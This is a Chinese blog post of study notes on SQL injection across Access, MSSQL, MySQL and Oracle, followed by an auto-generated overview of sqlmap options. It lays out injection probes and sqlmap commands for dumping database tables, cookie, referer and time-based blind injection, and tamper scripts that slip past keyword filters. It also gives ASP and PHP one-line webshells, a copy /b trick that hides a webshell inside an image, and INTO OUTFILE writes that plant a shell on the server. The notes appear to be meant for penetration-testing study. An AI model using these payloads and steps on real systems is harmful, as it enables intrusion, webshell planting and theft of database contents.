常用数据库介绍及其sql注入相关原理

常用数据库介绍:
	Access数据库
		+.asp
	Mssql数据库
		+.net 到 http://xxx/.aspx 到 IIS(都可以解析.asp)
	Mysql数据库
		+PHP 到 http://xxx/.php 到 Apache
	Oracle数据库
		+JAVA 到 http://xxx/.jsp 或者.do或者.action 
		  到Tomcat或者Nginx或者Joss(一一对应)

		

sql注入基础语法:


	数值类型:int、float、double
	字符串类型:char、varchar
	日期时间类型:date、time
	二进制:bit
	语法:
		SELECT * FROM qs_admin;	//从qs_admin表中查找所有内容
		SELECT * FROM qs_admin WHERE admin_id=1; 
					//从qs_admin表中内容查询admin_id = 1的内容
		SELECT * FROM qs_admin,pwd WHERE admin_id=1; 
					//从qs_admin表中内容查询admin_id = 1的qs_admin和pwd的内容
		SELECT * FROM qs_admin,pwd WHERE admin_id=1 order by 1;
					//order by 是判断查询对象的字段并按照元素序列进行排序,后面的
					   数字小于等于前面查询的元素
		注释方法:
			1.语句前面加#
			2.--<空格>
?		//将url和参数进行区分
&		//多参数之间的连接值
判断是否存在sql注入:
	?id=1'
	注意:最好使用“-”号,“+”号编码会被转译成空格

Access的sql注入

sqlmap拿数据库
	IIS6.0的漏洞,用后缀“;”去绕过(类似于上传漏洞)

数据备份拿服务器

通过注入拿shell
	asp的一句话木马:
		<%eval request("chopper")%>
	将图片1.jpg和木马1.txt压缩成一个新的图片2.jpg
		copy 1.jpg/b+1.txt   2.jpg
	上传2.jpg到数据库

	找到数据库路径

	最后利用菜刀进入后台查看所有数据

mysql的sql注入

判断数字型注入就用“-”号,出现报错即为注入点
	在数字型注入点后面加*
		即为:python sqlmap.py -u "http://5*"

sqlmap:
	-u "http://"	//基本语句类型
	指定数据库类型: --dbms=mysql
	判断当前数据库名字:--current-db 
	-D	//指定数据库
	-T	//指定表
	--colums	//找出所有的列名
	-C	//指定列中的参数 如:-C "name,passwd"
	--dump	//找到的元素显示出来

mysql的提权

函数	into outfile
	例如:select * from table into outfile'/路径/文件名' 
	满足条件:
		1.知道站点物理路径(_server["document_root"])
		2.magic_quotes_gpc()=off(phpinfo.php)
		3.有足够大的权限(有file权限)

	php一句话木马: <?php eval($_POST[CMD])?>

	步骤:
		看看是否能直接访问http://ip/phpinfo.php
				可以在其下面找到物理路径
				也可以找到第二个条件的设置
		对路径进行写入木马文件的尝试

		最后在路径中直接访问写入文件
				如果一句话木马在页面中有显示,即未解析成功
					猜测为写入权限不够

		利用工具掌控后台
		备注:路径中有转义,一般为“//”。


其他类型的sql注入方法介绍

备注:
	在sqlmap可以选择如下命令选择一种探测技术:

	--technique=TECH    SQL injection techniques to use (default "BEUSTQ")
		TECH的值可以是"BEUSTQ"中的一种。

		B: Boolean-based blind SQL injection(布尔型注入)

		E: Error-based SQL injection(报错型注入)

		U: UNION query SQL injection(可联合查询注入)

		S: Stacked queries SQL injection(可多语句查询注入)

		T: Time-based blind SQL injection(基于时间延迟注入)
	cookie注入:
		uname = admin' 
	
	报错:"admin" LIMIT 0,1' at line 1 即多加引号,可判断cookies注入


	sql-map:
		备注:在注入点后+"*",sqlmap会对其进行自动爆破
		1.直接对保存下来的txt文件,对指定用户信息进行cookies爆破
		sqlmap.py -r 文件路径/文件名 --cookie uname = admin --tech E --dbms mysql --bath -v 0

	referer注入:
		referer表示上一个跳转的网页地址
			登录跳转之后,referer表示的是注入目标网址,进行sql注入拼接
		
		对referer进行"分号"等,sql语句的尝试,报错即存在注入
	
		sql-map跑:
			1.抓包保存
			2.referer加“*”号
	时间盲注:
		F12查看响应时间的变化
		函数:sleep()
		参数中单引号闭合和双引号闭合完全不一样,或者需要自己写脚本
		
	and,or被过滤:
		and = &&        aandnd被过滤后=and
		or = ||	         oorr被过滤后=or
		
		sqlmap --tamper        不同版本不一样
		
		and2anandd.py脚本:
			sqlmap.py -u url -p id --tech E --dbms mysql --tamper and2anandd.py --batch -v 0

	union,select ,空格,注释符被过滤:
		空格=%09或者%0a
		双写代替select

		脚本:
		sqlmap.py -u url -p id --prefix "" --suffx  "%0aand%0a'1'1='1'' --tech E --dbms mysql --tamper select2selecselectt.py,space2%0a.py --batch -v 0

sqlmap使用基本规则和判断

GET型注入:
	sqlmap -u
post型注入:
	sqlmap -r
其他:
	--os	查看服务器操作系统
	--is-dba   判断当前用户是否具备dba的权限
	--users	判断用户名
	--password	判断密码

关系型数据库与非关系型数据库的注入区别
如:
ACCESS数据库直接爆表------》字段名-----》字段值
MYSQL数据库爆库----》表-------》字段名----》字段值

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,我会尽力回答您的问题。 SQL注入是一种针对web应用程序的攻击方式,攻击者通过在应用程序中注入SQL语句,从而实现对数据库的非法访问或者控制。SQL注入可以分为以下几种类型: 1. 基于错误的SQL注入:攻击者通过构造恶意的SQL语句,使得应用程序在执行时产生错误,从而获得有关数据库的敏感信息。 2. 盲注SQL注入:攻击者无法直接获取数据库的信息,但是可以通过构造恶意的SQL语句,来判断SQL语句的执行结果,从而推断出数据库的信息。 3. 堆叠式SQL注入:攻击者通过将多条SQL语句拼接在一起,从而实现对数据库的非法访问或者控制。 Sqlmap是一款常用SQL注入工具,可以帮助用户自动化地检测和利用SQL注入漏洞。常用Sqlmap参数及其含义如下: 1. -u:指定目标URL,例如:-u http://www.example.com/index.php?id=1。 2. -p:指定待测试的参数,例如:-p id。 3. --level:指定测试的深度,级别从1到5,级别越高,测试越深入,但是速度会变慢。 4. --risk:指定测试的风险级别,级别从1到3,级别越高,测试越深入,但是风险也越大。 5. --dbms:指定目标数据库类型,例如:--dbms mysql。 6. --dbs:列出所有可访问的数据库。 7. --tables:列出指定数据库中的所有数据表。 8. --columns:列出指定数据表中的所有字段。 9. --dump:将指定数据表中的数据导出到本地。 SQL注入点的判断方法包括: 1. 通过手动方式进行判断,即通过构造恶意的SQL语句,来判断应用程序对SQL注入的处理方式。 2. 通过自动化工具进行判断,例如:Sqlmap可以帮助用户自动化地检测SQL注入漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

凉水沏茶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值